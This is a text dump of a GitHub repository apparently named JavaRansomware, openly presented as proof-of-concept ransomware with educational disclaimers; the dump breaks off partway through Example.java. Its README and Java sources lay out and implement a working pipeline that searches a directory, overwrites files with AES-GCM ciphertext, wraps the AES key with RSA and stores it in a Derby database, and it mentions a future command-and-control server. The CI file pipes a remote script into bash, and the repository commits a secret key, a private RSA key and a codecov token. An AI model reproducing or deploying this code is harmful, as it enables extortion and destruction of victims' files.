Repository: PanagiotisDrakatos/JavaRansomware
Branch: master
Commit: 52e1bbe69810
Files: 34
Total size: 104.4 KB
Directory structure:
gitextract_8o92klmj/
├── .gitignore
├── LICENSE
├── README.md
├── appveyor.yml
├── dependency-reduced-pom.xml
├── encryptedKeyDB/
│ ├── README_DO_NOT_TOUCH_FILES.txt
│ ├── log/
│ │ ├── README_DO_NOT_TOUCH_FILES.txt
│ │ ├── log.ctrl
│ │ └── logmirror.ctrl
│ ├── seg0/
│ │ └── README_DO_NOT_TOUCH_FILES.txt
│ └── service.properties
├── pom.xml
├── secret.key
└── src/
├── assembly/
│ └── assembly.xml
├── main/
│ └── java/
│ └── com/
│ └── security/
│ ├── AESCipher.java
│ ├── DatabaseRetrieveHandler.java
│ ├── DatabaseStoreHandler.java
│ ├── DecryptKeyHandler.java
│ ├── DerbyStorage.java
│ ├── EncryptKeyHandler.java
│ ├── Example.java
│ ├── GenSymmetricKeyHandler.java
│ ├── Handler.java
│ ├── Pipeline.java
│ ├── PipelineData.java
│ ├── RSACipher.java
│ ├── RSAGenKeyReader.java
│ ├── RansomwareDecryptHandler.java
│ ├── RansomwareEncryptHandler.java
│ ├── RansomwareException.java
│ ├── SearchDirectory.java
│ └── Serializer.java
├── resources/
│ └── test.txt
└── test/
└── java/
└── com/
└── Examples/
└── ExampleTest.java
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
# Compiled class file
*.class
# Log file
*.log
# BlueJ files
*.ctxt
# Mobile Tools for Java (J2ME)
.mtj.tmp/
# Package Files #
*.jar
*.war
*.nar
*.ear
*.zip
*.tar.gz
*.rar
# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
hs_err_pid*
.idea
*.iml
*.project
target/
build/
bin/
/tmp/
.DS_Store
.attach_pid*
*.effective.properties
node_modules
package-lock.json
*.class
tmp/
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2016 panagiotis
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
Special thanks my followers for supporting me:
JavaRansomware encrypts a victim’s files through Java, preventing access without a decryption key
The code uses standard Java libraries and a custom encryption routine to execute its malicious payload
> **Warning**
> This project is intended **solely for educational and research purposes**.
> **Do not** use it on any system without explicit permission. Using code like this to compromise systems or data
> without authorization is illegal and unethical.
## Table of Contents
1. [Project Overview](#project-overview)
2. [What does ransomware do?](#what-does-ransomware-do)
3. [Key Features](#key-features)
4. [Technical Details](#technical-details)
- [Encryption Process](#encryption-process)
- [Decryption Process](#decryption-process)
- [Keys and Security](#keys-and-security)
5. .[Legal Warning](#legal-warning)
6. [Support](#support)
7. [Note](#note)
8. [Contribute](#contribute)
9. [Authors](#authors)
10. [License](#license)
## Project Overview
**JavaRansomware** is a proof-of-concept cryptographic ransomware application written in **pure Java**.
It demonstrates how a malicious actor might encrypt files on a target machine, hold them for
ransom, and only decrypt them upon certain conditions. Ransomware is malware for data kidnapping, an exploit in which
the attacker encrypts the victim's files and stops them from access them.
As a teaching tool, this repository illustrates common ransomware tactics:
- Iterating through a file system to find and encrypt targeted files.
- Employing **AES-256** as the symmetric cipher.
- Protecting the AES key using **RSA-4096** for additional security.
> **Again**, this software is provided for **educational** and **research** insights into how ransomware threats
> operate, so security professionals, researchers, and students can better understand and defend against them.
---
## What does ransomware do?
There are different types of ransomware. However, all of them will prevent you from using your
PC normally, and they will all ask you to do something before you can use your PC. They can target
any PC users, whether it’s a home computer, endpoints in an enterprise network, or servers
used by a government agency or healthcare provider.
Ransomware can:
* Prevent you from accessing Windows.
* Encrypt files so you can't use them.
* Stop certain apps from running (like your web browser).
Ransomware will demand that you pay money (a “ransom”) to get access to your PC or files. We
have also seen them make you complete surveys. There is no guarantee that paying the fine or
doing what the ransomware tells you will give access to your PC or files again.
## Key Features
1. **Symmetric Encryption (AES-256)**
- Encrypts files using a robust 256-bit key.
- Fast and efficient for large volumes of data.
2. **Asymmetric Key Protection (RSA-4096)**
- The AES key is encrypted with a 4096-bit RSA public key.
- Prevents easy key recovery without the matching RSA private key.
3. **Configurable File Paths**
- Specify which folders or directories to target for encryption/decryption.
4. **Simple Command-Line Interface**
- Takes arguments for path and action (encrypt or decrypt).
5. **Educational-Focused**
- The code is structured to highlight each step of the ransomware life cycle.
- Clear class and method names to guide understanding.
### Encryption Process
1. **File Discovery**
- The ransomware scans a specified directory (recursively) for files to encrypt.
2. **AES Key Generation**
- Generates a random 256-bit (32-byte) AES key.
- This key protects the actual file contents.
3. **RSA Public Key Encryption**
- The generated AES key is itself encrypted with an RSA-4096 public key.
- This ensures that only someone with the corresponding private key can decrypt and recover the AES key.
4. **AES File Encryption**
- Each targeted file is encrypted with the AES key in **CBC** or **ECB** mode (depending on the implementation in
the code).
- Encrypted data replaces the original file contents (or is written to a new file).
5. **(Optional) Logging/DB**
- The project references an embedded database for storing the victim ID, key references, etc.
- In a real scenario, this might be replaced by an online Command & Control (C2) server.
### Decryption Process
1. **RSA Private Key**
- The private key (matching the earlier RSA public key) decrypts the stored AES key.
2. **AES File Decryption**
- The now-recovered AES key is used to decrypt the files, restoring them to their original contents.
### Keys and Security
- **AES-256** is a symmetric cipher considered secure under modern standards.
- **RSA-4096** ensures the key exchange is non-trivial to brute force.
- Combined, these create a typical hybrid encryption model used by many real-world ransomware variants.
## Technical Details
This project aims to build an almost functional crypto-ransomware for educational purposes, written in in pure java.
Basically, it will encrypt your files in background using AES-256, a strong encryption algorithm, using RSA-4096 Public
Key to secure the AES Symetric key and store it in an embeeded database.
Assume that there is a C&C Server who for store the Id and the respective encryption key and possibly act as a Command
and Control server in the near future.
For Education Purposes I will not Provide the Full Server source code.,as i decribed in the previous paragraph. Let's
imagine a simple testing example which client by deafult has the Asymmetrtic encryption keys.
The easiest way to run this Project is to simply run the below commands
```
$ mvn clean install
```
Run the following test and encrypt all files in the current given path of the Examples test file
and wait until the execution will be finished.
```bash
mvn -Dtest=MyTest ExampleTest test
```
> DON'T RUN JavaRansomware.jar IN YOUR PERSONAL MACHINE, EXECUTE ONLY IN A TEST ENVIRONMENT(VMWARE)!
if you want to use the project programmatically just put the below code in your project and simply run it. Don't forget
to give input arguments path before executing it.
Java Manual
JDK [21](https://www.oracle.com/java/technologies/javase/jdk21-archive-downloads.html) is required to build and run this
project.
```java
package com.security;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.security.GeneralSecurityException;
public class Example {
private static final String PubicKey = "MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJCw1HHQooCFGsGhtxNrsdS6dDq5jtfHqqLInCj7qFlDaD/Sll5+BAUjV0GU/c+6PVyMKzmLrHh49eeGQy1ETN8CAwEAAQ==";
private static final String PrivateKey = "MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAkLDUcdCigIUawaG3E2ux1Lp0OrmO18eqosicKPuoWUNoP9KWXn4EBSNXQZT9z7o9XIwrOYuseHj154ZDLURM3wIDAQABAkA9AnLx8tkye+2GTBwYEkcPvfcYc/mpPsXSkehW15Zq3IALx3Kr5GgKGOaB2FK6PU0QzEPQbNJXdA5ZPjwTDcQBAiEA1/zINRVlrLpw2HPfqsYQ8ZSDuG2rVUUKKmKgJQXeQ98CIQCrfsw2+VKOaFoJm5BpVxIT5nsE8CXn4fr/WSFuklMXAQIgTKWnAreCKmbLTvTn5bl+H8zdZaB9kbf7YIk5XYoUky8CIQCL2ccnPYK5ZxelphrKDJtNZzMC/+OpiXtqKIE+7kycAQIgRK/DUhWUgSQV5u7VoCHDyLPCntjFMGBsg7Wi1uq+EDM=";
public static void main(String[] args) throws RansomwareException, GeneralSecurityException {
// Set Whatever path you want to test
Path testPath = Paths.get("C:\\Users\\User\\Documents\\GitHub\\JavaRansomware\\src\\resources");
//Path testPath = Paths.get(Objects.requireNonNull(ExampleTest.class.getResource("/test.txt")).toURI());
PipelineData pipelineData = new PipelineData();
pipelineData.setPrivateKey(PrivateKey);
pipelineData.setPublicKey(PubicKey);
// Alternative Gen RSA. Make sure you save the keypair to a file if not loaded
// RSAGenKeyReader.StringKeyPair keyPair=RSAGenKeyReader.generateKeyPair();
// pipelineData.setPrivateKey(keyPair.privateKey());
// pipelineData.setPublicKey(keyPair.publicKey());
pipelineData.setRootPath(testPath.toAbsolutePath().toString());
Pipeline encrypt_filters = new Pipeline(new DatabaseRetrieveHandler())
.addHandler(new GenSymmetricKeyHandler())
.addHandler(new RansomwareEncryptHandler())
.addHandler(new EncryptKeyHandler())
.addHandler(new DatabaseStoreHandler());
var encrypt_output = encrypt_filters.execute(pipelineData);
System.out.println("Pipeline encrypt_output: " + encrypt_output);
Pipeline decrypt_filters = new Pipeline(new DatabaseRetrieveHandler())
.addHandler(new DecryptKeyHandler())
.addHandler(new RansomwareDecryptHandler())
.addHandler(new DecryptKeyHandler());
var decrypt_output = decrypt_filters.execute(pipelineData);
System.out.println("Pipeline output: " + decrypt_output);
}
}
```

## Legal Warning
While this may be helpful for some, there are significant risks. JavaRansomware may be used only for
Educational Purposes. Do not use it as a ransomware! You could go to jail if if you will use it for
malicious purposes.<
## Support
For support, email panagiotisdrakatos@gmail.com or join me Discord:panos5427.
Meaning, if you liked using this app or it has helped you in any way,
I'd like you send me an email about anything you'd want to say about this software.
I'd really appreciate it!
## Note
- ⭐️ Give me a Star!! JavaRansomware is constantly updating, support us!
- The analysis was done by me, without having obfuscated the source code (either with pyarmor etc),
- I would not recommend using JavaRansomware + obfuscatebecause many times av trigger obfuscated codes as false positive
even if legitimate.
## Contribute
1. Fork it: git clone https://github.com/PanagiotisDrakatos/JavaRansomware.git
2. Create your feature branch: ```git checkout -b my-new-feature```
3. Commit your changes: ```git commit -am 'Add some feature```
4. Push to the branch: ```git push origin my-new-feature```
5. Submit a pull request
## Authors
- [@panagiotisdrakatos](https://github.com/PanagiotisDrakatos)
## License
This project is distributed under the MIT license version 2.0 (see the LICENSE file in the project root).
By submitting a pull request to this project, you agree to license your contribution under the MIT license version 2.0
to this project.
[](https://choosealicense.com/licenses/mit/)
================================================
FILE: appveyor.yml
================================================
environment:
MAVEN_OPTS: "-Xmx8g -XX:MaxMetaspaceSize=12g"
MAVEN_VERSION: 3.9.9
APPVEYOR_BUILD_ID: 1
APPVEYOR_BUILD_NUMBER: 1.0.2
init:
- set APPVEYOR_BUILD_ID
- set APPVEYOR_BUILD_NUMBER
image: ubuntu
branches:
only:
- master
configuration: Release
install:
- sh: |
echo "APPVEYOR_BUILD_ID: $APPVEYOR_BUILD_ID"
echo "APPVEYOR_BUILD_NUMBER: $APPVEYOR_BUILD_NUMBER"
- export MAVEN_OPTS="-Xmx8g -XX:MaxMetaspaceSize=12g"
- ls -ahl;
- sh: |
sudo apt -y update > /dev/null;
sudo DEBIAN_FRONTEND=noninteractive apt -qq -y install aria2 gnupg2 graphviz openssl rsync sshpass whois --no-install-suggests --no-install-recommends;
#- whois $(curl ipinfo.io/ip);
# Settings -> Environment -> Environment variables -> Add variable
# CI_OPT_ORIGIN_REPO_SLUG
- sh: |
# make AppVeyor's JDK path (/usr/lib/jvm/java-21-openjdk-amd64) compatible with travis-ci's style (/usr/lib/jvm/java-21-openjdk) to make toolchains.xml valid
if [[ -d /usr/lib/jvm/java-8-openjdk-amd64 ]]; then sudo ln -s /usr/lib/jvm/java-8-openjdk-amd64 /usr/lib/jvm/java-8-openjdk; fi;
if [[ -d /usr/lib/jvm/java-11-openjdk-amd64 ]]; then sudo ln -s /usr/lib/jvm/java-11-openjdk-amd64 /usr/lib/jvm/java-11-openjdk; fi;
if [[ -d /usr/lib/jvm/java-21-openjdk-amd64 ]]; then sudo ln -s /usr/lib/jvm/java-21-openjdk-amd64 /usr/lib/jvm/java-21-openjdk; fi;
export JAVA_HOME="/usr/lib/jvm/java-21-openjdk";
export PATH="$JAVA_HOME:$PATH";
- sh: |
export CI_OPT_MVN_MULTI_STAGE_BUILD="false";
- sh: |
mvn -v
wget https://downloads.apache.org/maven/maven-3/3.9.9/binaries/apache-maven-3.9.9-bin.tar.gz
tar -xzf apache-maven-3.9.9-bin.tar.gz
sudo mv apache-maven-3.9.9 /opt/maven
export PATH=/opt/maven/bin:$PATH
mvn -v
java -version
services:
- docker
stack: jdk 21
build_script:
- mvn clean install -U
test_script:
- mvn clean install -U
after_test:
- ps: |
curl -s https://codecov.io/bash | bash -s - -t 1d910d2b-5749-4c90-bc7d-e8e4b3185606
build: off
cache:
- "$HOME/.cache"
- "$HOME/.gradle"
- "$HOME/.m2/repository"
- "$HOME/.m2/wrapper"
- "$HOME/.sonar/cache"
================================================
FILE: dependency-reduced-pom.xml
================================================
4.0.0com.securitycom.securitycom.security1.0-SNAPSHOT-JavaRansomwarehttp://maven.apache.orgsrc/resources**/*.txt**/*.sokr.motd.mavenos-maven-plugin${kr.motd.maven}maven-assembly-plugin${maven-assembly-plugin}org.codehaus.mojoexec-maven-plugin${exec-maven-plugin.version}maven-surefire-plugin${maven-surefire-plugin.version}maven-jar-plugin${maven-jar-plugin.version}maven-compiler-plugin${maven-compiler-plugin.version}maven-source-plugin${maven-source-plugin.version}maven-shade-plugin${maven-shade-plugin.version}org.codehaus.mojobuildnumber-maven-plugin${buildnumber-maven-plugin.version}maven-javadoc-plugin${maven-javadoc-plugin.version}maven-gpg-plugin${maven-gpg-plugin.version}org.sonatype.pluginsnexus-staging-maven-plugin${nexus-staging-maven-plugin.version}org.jacocojacoco-maven-plugin${jacoco-maven-plugin.version}maven-resources-plugin${maven-resources-plugin.version}maven-surefire-plugin11falsealphabetical--add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.math=ALL-UNNAMED
--add-opens java.base/sun.nio.ch=ALL-UNNAMED
--add-opens java.base/java.security.spec=ALL-UNNAMED
--add-opens java.base/java.time=ALL-UNNAMEDmaven-compiler-plugin${java.version}${java.version}maven-assembly-pluginmake-assemblypackagesinglesrc/assembly/assembly.xmlmaven-jar-pluginmaven-shade-pluginpackageshade*:*META-INF/**INFO/**asm:*META-INF/*.MFMETA-INF/*.SFMETA-INF/*.DSAMETA-INF/*.RSAMETA-INF/versions/21/**org.projectlomboklombok1.18.36providedorg.junit.jupiterjunit-jupiter-api5.12.0testopentest4jorg.opentest4jjunit-platform-commonsorg.junit.platformapiguardian-apiorg.apiguardian3.2.63.10.01.18.01.7.13.4.21.7.03.6.03.13.05.12.03.5.23.3.13.2.13.4.14.2.0.RC30.10.03.3.11.803.7.1UTF-80.8.122.18.02110.17.1.02.18.21.18.36
================================================
FILE: encryptedKeyDB/README_DO_NOT_TOUCH_FILES.txt
================================================
# *************************************************************************
# *** DO NOT TOUCH FILES IN THIS DIRECTORY! ***
# *** FILES IN THIS DIRECTORY AND SUBDIRECTORIES CONSTITUTE A DERBY ***
# *** DATABASE, WHICH INCLUDES THE DATA (USER AND SYSTEM) AND THE ***
# *** FILES NECESSARY FOR DATABASE RECOVERY. ***
# *** EDITING, ADDING, OR DELETING ANY OF THESE FILES MAY CAUSE DATA ***
# *** CORRUPTION AND LEAVE THE DATABASE IN A NON-RECOVERABLE STATE. ***
# *************************************************************************
================================================
FILE: encryptedKeyDB/log/README_DO_NOT_TOUCH_FILES.txt
================================================
# *************************************************************************
# *** DO NOT TOUCH FILES IN THIS DIRECTORY! ***
# *** FILES IN THIS DIRECTORY ARE USED BY THE DERBY DATABASE RECOVERY ***
# *** SYSTEM. EDITING, ADDING, OR DELETING FILES IN THIS DIRECTORY ***
# *** WILL CAUSE THE DERBY RECOVERY SYSTEM TO FAIL, LEADING TO ***
# *** NON-RECOVERABLE CORRUPT DATABASES. ***
# *************************************************************************
================================================
FILE: encryptedKeyDB/seg0/README_DO_NOT_TOUCH_FILES.txt
================================================
# *************************************************************************
# *** DO NOT TOUCH FILES IN THIS DIRECTORY! ***
# *** FILES IN THIS DIRECTORY ARE USED BY THE DERBY DATABASE TO STORE ***
# *** USER AND SYSTEM DATA. EDITING, ADDING, OR DELETING FILES IN THIS ***
# *** DIRECTORY WILL CORRUPT THE ASSOCIATED DERBY DATABASE AND MAKE ***
# *** IT NON-RECOVERABLE. ***
# *************************************************************************
================================================
FILE: encryptedKeyDB/service.properties
================================================
#C:\Users\User\Documents\GitHub\JavaRansomware\encryptedKeyDB
# ********************************************************************
# *** Please do NOT edit this file. ***
# *** CHANGING THE CONTENT OF THIS FILE MAY CAUSE DATA CORRUPTION. ***
# ********************************************************************
#Fri Feb 28 21:08:50 EET 2025
SyscolumnsIdentifier=144
SyscolumnsIndex1Identifier=161
SyscolumnsIndex2Identifier=177
SysconglomeratesIdentifier=32
SysconglomeratesIndex1Identifier=49
SysconglomeratesIndex2Identifier=65
SysconglomeratesIndex3Identifier=81
SysschemasIdentifier=192
SysschemasIndex1Identifier=209
SysschemasIndex2Identifier=225
SystablesIdentifier=96
SystablesIndex1Identifier=113
SystablesIndex2Identifier=129
derby.serviceLocale=en_US
derby.serviceProtocol=org.apache.derby.database.Database
derby.storage.propertiesId=16
#--- last line, don't put anything after this line ---
================================================
FILE: pom.xml
================================================
4.0.0com.securitycom.security1.0-SNAPSHOT-JavaRansomwarejarcom.securityhttp://maven.apache.org21UTF-82.18.01.18.01.802.18.210.17.1.05.12.00.10.01.18.363.4.13.5.23.4.23.13.03.3.13.6.03.2.13.10.03.2.61.7.00.8.123.3.13.7.11.7.14.2.0.RC3org.projectlomboklombok${lombok.version}providedorg.apache.furyfury-core${fury-core.version}org.junit.jupiterjunit-jupiter-api${junit-jupiter-api.version}testcommons-iocommons-io${commons-io.version}commons-codeccommons-codec${commons-codec.version}org.bouncycastlebcprov-jdk18on${bcprov-jdk18on.version}org.apache.derbyderby${derby.version}com.fasterxml.jackson.corejackson-databind${jackson-databind.version}kr.motd.mavenos-maven-plugin${kr.motd.maven}org.apache.maven.pluginsmaven-assembly-plugin${maven-assembly-plugin}org.codehaus.mojoexec-maven-plugin${exec-maven-plugin.version}org.apache.maven.pluginsmaven-surefire-plugin${maven-surefire-plugin.version}org.apache.maven.pluginsmaven-jar-plugin${maven-jar-plugin.version}org.apache.maven.pluginsmaven-compiler-plugin${maven-compiler-plugin.version}org.apache.maven.pluginsmaven-source-plugin${maven-source-plugin.version}org.apache.maven.pluginsmaven-shade-plugin${maven-shade-plugin.version}org.codehaus.mojobuildnumber-maven-plugin${buildnumber-maven-plugin.version}org.apache.maven.pluginsmaven-javadoc-plugin${maven-javadoc-plugin.version}org.apache.maven.pluginsmaven-gpg-plugin${maven-gpg-plugin.version}org.sonatype.pluginsnexus-staging-maven-plugin${nexus-staging-maven-plugin.version}org.jacocojacoco-maven-plugin${jacoco-maven-plugin.version}org.apache.maven.pluginsmaven-resources-plugin${maven-resources-plugin.version}org.apache.maven.pluginsmaven-surefire-plugin11falsealphabetical
--add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.math=ALL-UNNAMED
--add-opens java.base/sun.nio.ch=ALL-UNNAMED
--add-opens java.base/java.security.spec=ALL-UNNAMED
--add-opens java.base/java.time=ALL-UNNAMED
org.apache.maven.pluginsmaven-compiler-plugin${java.version}${java.version}org.apache.maven.pluginsmaven-assembly-pluginmake-assemblypackagesinglesrc/assembly/assembly.xmlorg.apache.maven.pluginsmaven-jar-pluginorg.apache.maven.pluginsmaven-shade-pluginpackageshade*:*META-INF/**INFO/**asm:*META-INF/*.MFMETA-INF/*.SFMETA-INF/*.DSAMETA-INF/*.RSAMETA-INF/versions/21/**src/resources**/*.txt**/*.so
================================================
FILE: secret.key
================================================
9HpDHVU9FshbvImYQb1EQE8dV0mYvUWQbc5VHqzS4HI=
================================================
FILE: src/assembly/assembly.xml
================================================
binzipfalse${project.build.directory}/*.jar
================================================
FILE: src/main/java/com/security/AESCipher.java
================================================
package com.security;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.security.SecureRandom;
import java.util.Base64;
public class AESCipher {
private static final String ALGORITHM = "AES/GCM/NoPadding";
private static final int KEY_SIZE = 256; // AES-256
private static final int IV_LENGTH = 12; // 12 bytes for GCM
private static final int TAG_LENGTH = 128; // 128-bit authentication tag
// Generate AES key not save to file
public static String generateAndNotSaveKeyAsString() throws Exception {
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
keyGen.init(KEY_SIZE);
SecretKey key = keyGen.generateKey();
// Save key as Base64 string
return Base64.getEncoder().encodeToString(key.getEncoded());
}
// Generate AES key not save to file
public static SecretKey generateAndNotSaveKey() throws Exception {
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
keyGen.init(KEY_SIZE);
return keyGen.generateKey();
}
// Generate AES key and save to file
public static SecretKey generateAndSaveKey(String keyFile) throws Exception {
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
keyGen.init(KEY_SIZE);
SecretKey key = keyGen.generateKey();
// Save key as Base64 string
String encodedKey = Base64.getEncoder().encodeToString(key.getEncoded());
Files.write(Path.of(keyFile), encodedKey.getBytes());
return key;
}
// Load key from string
public static SecretKey loadKey(String encodedKey) throws IOException {
byte[] decodedKey = Base64.getDecoder().decode(encodedKey);
return new SecretKeySpec(decodedKey, "AES");
}
// Load key from file
public static SecretKey loadKeyFormFile(String keyFile) throws IOException {
byte[] encodedKey = Files.readAllBytes(Path.of(keyFile));
byte[] decodedKey = Base64.getDecoder().decode(encodedKey);
return new SecretKeySpec(decodedKey, "AES");
}
// Encrypt file and replace original
public static void encryptFile(String filePath, SecretKey key) throws Exception {
// Read original file
byte[] fileData = Files.readAllBytes(Path.of(filePath));
// Generate IV
byte[] iv = new byte[IV_LENGTH];
new SecureRandom().nextBytes(iv);
// Initialize cipher
Cipher cipher = Cipher.getInstance(ALGORITHM);
cipher.init(Cipher.ENCRYPT_MODE, key, new GCMParameterSpec(TAG_LENGTH, iv));
// Encrypt data
byte[] encryptedData = cipher.doFinal(fileData);
// Write IV + encrypted data back to the same file
try (FileOutputStream fos = new FileOutputStream(filePath)) {
fos.write(iv);
fos.write(encryptedData);
}
}
// Decrypt file and replace encrypted version
public static void decryptFile(String filePath, SecretKey key) throws Exception {
// Read encrypted file (IV + ciphertext)
byte[] encryptedFile = Files.readAllBytes(Path.of(filePath));
// Extract IV (first 12 bytes)
byte[] iv = new byte[IV_LENGTH];
System.arraycopy(encryptedFile, 0, iv, 0, IV_LENGTH);
// Extract ciphertext (remaining bytes)
byte[] ciphertext = new byte[encryptedFile.length - IV_LENGTH];
System.arraycopy(encryptedFile, IV_LENGTH, ciphertext, 0, ciphertext.length);
// Initialize cipher
Cipher cipher = Cipher.getInstance(ALGORITHM);
cipher.init(Cipher.DECRYPT_MODE, key, new GCMParameterSpec(TAG_LENGTH, iv));
// Decrypt data
byte[] decryptedData = cipher.doFinal(ciphertext);
// Write decrypted data back to the same file
try (FileOutputStream fos = new FileOutputStream(filePath)) {
fos.write(decryptedData);
}
}
}
================================================
FILE: src/main/java/com/security/DatabaseRetrieveHandler.java
================================================
package com.security;
import lombok.SneakyThrows;
public class DatabaseRetrieveHandler implements Handler {
public DatabaseRetrieveHandler() {
}
@SneakyThrows
@Override
public PipelineData process(PipelineData input) {
String encryptedSymmetricKey = DerbyStorage.getInstance().retrieveString();
if (encryptedSymmetricKey != null) {
System.out.println("Retrieved existing string: " + encryptedSymmetricKey);
input.setEncKeyCode(encryptedSymmetricKey);
}
return input;
}
}
================================================
FILE: src/main/java/com/security/DatabaseStoreHandler.java
================================================
package com.security;
import lombok.SneakyThrows;
public class DatabaseStoreHandler implements Handler {
public DatabaseStoreHandler() {
}
@SneakyThrows
@Override
public PipelineData process(PipelineData input) {
String encryptedSymmetricKey = DerbyStorage.getInstance().retrieveString();
if (encryptedSymmetricKey == null) {
// Store a new string
DerbyStorage.getInstance().storeString(input.getEncKeyCode());
System.out.println("Retrieved newly stored string: " + input.getEncKeyCode());
}
return input;
}
}
================================================
FILE: src/main/java/com/security/DecryptKeyHandler.java
================================================
package com.security;
import lombok.SneakyThrows;
import java.security.PrivateKey;
public class DecryptKeyHandler implements Handler {
@Override
@SneakyThrows
public PipelineData process(PipelineData input) {
if (input.getPrivateKey() == null) {
throw new RansomwareException("Private key is null");
}
if (input.getEncKeyCode() == null) {
return input;
}
PrivateKey privateKey = RSAGenKeyReader.loadPrivateKey(input.getPrivateKey());
String plainKeyString = RSACipher.getInstance().decrypt(input.getEncKeyCode(), privateKey);
input.setSecretKey(plainKeyString);
return input;
}
}
================================================
FILE: src/main/java/com/security/DerbyStorage.java
================================================
package com.security;
import java.sql.*;
public class DerbyStorage {
private static final String DB_URL = "jdbc:derby:encryptedKeyDB;create=true";
private static final String TABLE_NAME = "STRING_STORE";
private static final String COLUMN_NAME = "stored_string";
private Connection connection;
private static volatile DerbyStorage instance;
private DerbyStorage() {
if (instance != null) {
throw new IllegalStateException("Already initialized.");
}
try {
// Initialize connection
connection = DriverManager.getConnection(DB_URL);
// Check if table exists, create if not
if (!tableExists()) {
createTable();
}
} catch (SQLException e) {
e.printStackTrace();
}
}
public static DerbyStorage getInstance() {
var result = instance;
if (result == null) {
synchronized (DerbyStorage.class) {
result = instance;
if (result == null) {
result = new DerbyStorage();
instance = result;
}
}
}
return result;
}
private boolean tableExists() throws SQLException {
boolean exists = false;
ResultSet rs = connection.getMetaData().getTables(null, null, TABLE_NAME, null);
if (rs.next()) {
exists = true;
}
rs.close();
return exists;
}
private void createTable() throws SQLException {
Statement stmt = connection.createStatement();
String createTableSQL = "CREATE TABLE " + TABLE_NAME + " (" + COLUMN_NAME + " VARCHAR(255))";
stmt.executeUpdate(createTableSQL);
stmt.close();
System.out.println("Table created successfully.");
}
public void storeString(String value) throws SQLException {
// First, check if table already has a string
String existingString = retrieveString();
if (existingString != null) {
// Update the existing string
PreparedStatement updateStmt = connection.prepareStatement(
"UPDATE " + TABLE_NAME + " SET " + COLUMN_NAME + " = ?");
updateStmt.setString(1, value);
updateStmt.executeUpdate();
updateStmt.close();
} else {
// Insert a new string
PreparedStatement insertStmt = connection.prepareStatement(
"INSERT INTO " + TABLE_NAME + " (" + COLUMN_NAME + ") VALUES (?)");
insertStmt.setString(1, value);
insertStmt.executeUpdate();
insertStmt.close();
}
System.out.println("String stored successfully: " + value);
}
public String retrieveString() throws SQLException {
String retrievedString = null;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery("SELECT " + COLUMN_NAME + " FROM " + TABLE_NAME);
if (rs.next()) {
retrievedString = rs.getString(COLUMN_NAME);
}
rs.close();
stmt.close();
return retrievedString;
}
public void close() {
try {
if (connection != null && !connection.isClosed()) {
connection.close();
// Shut down Derby
try {
DriverManager.getConnection("jdbc:derby:;shutdown=true");
} catch (SQLException e) {
// Derby always throws an exception on proper shutdown
if (e.getSQLState().equals("XJ015")) {
System.out.println("Derby shutdown successfully.");
} else {
e.printStackTrace();
}
}
}
} catch (SQLException e) {
e.printStackTrace();
}
}
}
================================================
FILE: src/main/java/com/security/EncryptKeyHandler.java
================================================
package com.security;
import lombok.SneakyThrows;
import java.nio.charset.StandardCharsets;
import java.security.PublicKey;
public class EncryptKeyHandler implements Handler {
@Override
@SneakyThrows
public PipelineData process(PipelineData input) {
if (input.getPublicKey() == null) {
throw new RansomwareException("Public key is null");
}
PublicKey pub = RSAGenKeyReader.loadPublicKey(input.getPublicKey());
String encrypted = RSACipher.getInstance().encrypt(input.getSecretKey().getBytes(StandardCharsets.UTF_8), pub);
input.setEncKeyCode(encrypted);
return input;
}
}
================================================
FILE: src/main/java/com/security/Example.java
================================================
package com.security;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.security.GeneralSecurityException;
public class Example {
private static final String PubicKey = "MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJCw1HHQooCFGsGhtxNrsdS6dDq5jtfHqqLInCj7qFlDaD/Sll5+BAUjV0GU/c+6PVyMKzmLrHh49eeGQy1ETN8CAwEAAQ==";
